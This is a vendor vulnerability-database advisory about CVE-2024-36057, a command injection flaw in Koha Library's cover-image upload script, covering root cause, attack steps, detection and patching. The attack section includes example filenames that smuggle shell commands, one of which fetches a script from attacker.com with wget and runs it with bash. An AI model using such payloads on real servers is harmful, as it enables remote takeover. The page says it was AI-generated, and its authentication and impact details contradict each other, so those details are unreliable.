Join the Cyber Forum: Threat Intel on May 12, 2026 to learn how AI is reshaping threat defense.Join the Virtual Cyber Forum: Threat IntelRegister Now
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • AI Data Pipelines
      Security Data Pipeline for AI SIEM and Data Optimization
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2024-36057

CVE-2024-36057: Koha Library Command Injection RCE Flaw

CVE-2024-36057 is a command injection vulnerability in Koha Library allowing remote code execution via malicious zip filenames. This article covers technical details, affected versions, attack vectors, and mitigation.

Published: April 10, 2026

CVE-2024-36057 Overview

CVE-2024-36057 is a critical command injection vulnerability affecting Koha Library Software versions prior to 23.05.10. The vulnerability exists in the upload-cover-image.pl script, which fails to properly sanitize user-controllable filenames before passing them to the system's unzip command. This allows remote attackers to execute arbitrary commands on the server by crafting malicious filenames containing shell metacharacters within uploaded .zip files.

Critical Impact

Remote attackers can achieve complete system compromise through arbitrary command execution on vulnerable Koha Library servers by uploading malicious .zip files with crafted filenames.

Affected Products

  • Koha Library Software versions before 23.05.10
  • Koha Library Software versions before 22.05.22

Discovery Timeline

  • April 7, 2026 - CVE-2024-36057 published to NVD
  • April 9, 2026 - Last updated in NVD database

Technical Details for CVE-2024-36057

Vulnerability Analysis

This vulnerability is classified as CWE-94 (Improper Control of Generation of Code / Code Injection). The flaw resides in how the Koha Library application handles file upload operations, specifically in the cover image processing functionality. When a user uploads a .zip file containing cover images, the application extracts the archive using the Perl qx operator, which executes shell commands. The vulnerable code directly interpolates the user-supplied filename into the command string without any sanitization or escaping.

The exploitation path requires an authenticated user to upload a specially crafted .zip file with a filename containing shell metacharacters. When the user subsequently clicks "Process Images," the malicious filename is passed directly to the shell, allowing command injection. This could enable attackers to read sensitive configuration files, establish reverse shells, modify database contents, or pivot to other systems on the network.

Root Cause

The root cause of this vulnerability is the direct interpolation of unsanitized user input into a shell command. The vulnerable line qx/unzip $filename -d $dirname/; in upload-cover-image.pl uses Perl's qx operator (equivalent to backticks) to execute the unzip command. Because the $filename variable contains user-controllable data that is not validated or escaped, shell metacharacters such as semicolons, backticks, or command substitution sequences can break out of the intended command context and execute arbitrary code.

Attack Vector

The attack vector for CVE-2024-36057 is network-based, requiring no prior authentication according to the CVSS vector analysis. An attacker exploits this vulnerability through the following sequence:

  1. Attacker creates a .zip archive with a filename containing shell metacharacters (e.g., image$(whoami).jpg or image;id;.jpg)
  2. The malicious .zip file is uploaded through the Koha cover image upload interface
  3. When "Process Images" is clicked, the application executes the unzip command with the malicious filename
  4. Shell metacharacters in the filename are interpreted by the shell, executing the injected commands

The vulnerability mechanism involves insufficient input validation in the file upload handler. When the application constructs the unzip command, it concatenates the filename directly into the command string. For example, a filename like cover;wget http://attacker.com/shell.sh -O /tmp/shell.sh;bash /tmp/shell.sh;.jpg would result in command execution when processed. Technical details and proof-of-concept code are available in the GitHub PoC Repository.

Detection Methods for CVE-2024-36057

Indicators of Compromise

  • Unusual filenames in the Koha upload directory containing shell metacharacters such as ;, $(), or backticks
  • Unexpected child processes spawned from the web server process during cover image processing
  • Web server logs showing POST requests to upload-cover-image.pl with anomalous filename parameters
  • Presence of unauthorized files or scripts in system temporary directories following image uploads

Detection Strategies

  • Monitor web application logs for requests to upload-cover-image.pl containing shell metacharacters in filename parameters
  • Implement file integrity monitoring on Koha installation directories to detect unauthorized modifications
  • Configure SentinelOne Singularity to alert on suspicious command execution chains originating from the web server process
  • Review uploaded .zip files for filenames containing command injection patterns before processing

Monitoring Recommendations

  • Enable verbose logging on the Koha application server to capture all file upload activities
  • Configure network intrusion detection systems to inspect HTTP traffic for payloads containing shell metacharacters
  • Implement endpoint detection and response monitoring for the web server to identify post-exploitation activities
  • Set up alerts for any outbound connections initiated by the web server process to detect potential reverse shell attempts

How to Mitigate CVE-2024-36057

Immediate Actions Required

  • Upgrade Koha Library Software to version 23.05.10 or later immediately
  • If immediate patching is not possible, disable the cover image upload functionality temporarily
  • Review web server logs for any historical exploitation attempts using shell metacharacters in filenames
  • Implement web application firewall rules to block requests containing shell metacharacters in file parameters

Patch Information

The Koha community has released security patches addressing this vulnerability. Administrators should upgrade to version 23.05.10 or later, or version 22.05.22 for the older release branch. Detailed release notes are available in the GitLab Release Notes for 23.05.10 and the GitLab Release Notes for 23.05.11. The Koha Community Release Announcement provides additional guidance for upgrading.

Workarounds

  • Restrict access to the cover image upload functionality to trusted administrators only until patching is complete
  • Implement input validation at the web server or reverse proxy level to reject filenames containing shell metacharacters
  • Consider using a web application firewall (WAF) to filter malicious upload requests
  • Isolate the Koha server from critical network segments to limit lateral movement in case of compromise

Mitigation involves restricting the upload functionality and implementing proper input sanitization. Administrators should configure their web server to validate uploaded filenames against a whitelist of allowed characters before processing. This can be accomplished through web server configuration rules that reject requests with suspicious filename patterns containing characters like ;, |, $, backticks, or other shell metacharacters.

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechKoha

  • SeverityCRITICAL

  • CVSS Score9.8

  • EPSS Probability0.10%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityHigh
  • CWE References
  • CWE-94
  • Technical References
  • GitHub PoC Repository

  • GitLab Release Notes 23.05.10

  • GitLab Release Notes 23.05.11

  • Koha Community Release Announcement
  • Related CVEs
  • CVE-2026-26377: Koha Library System XSS Vulnerability

  • CVE-2024-36058: Koha Library SQL Injection Vulnerability

  • CVE-2026-31844: Koha Staff Interface SQL Injection Flaw

  • CVE-2025-22954: Koha Library System SQL Injection Flaw
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English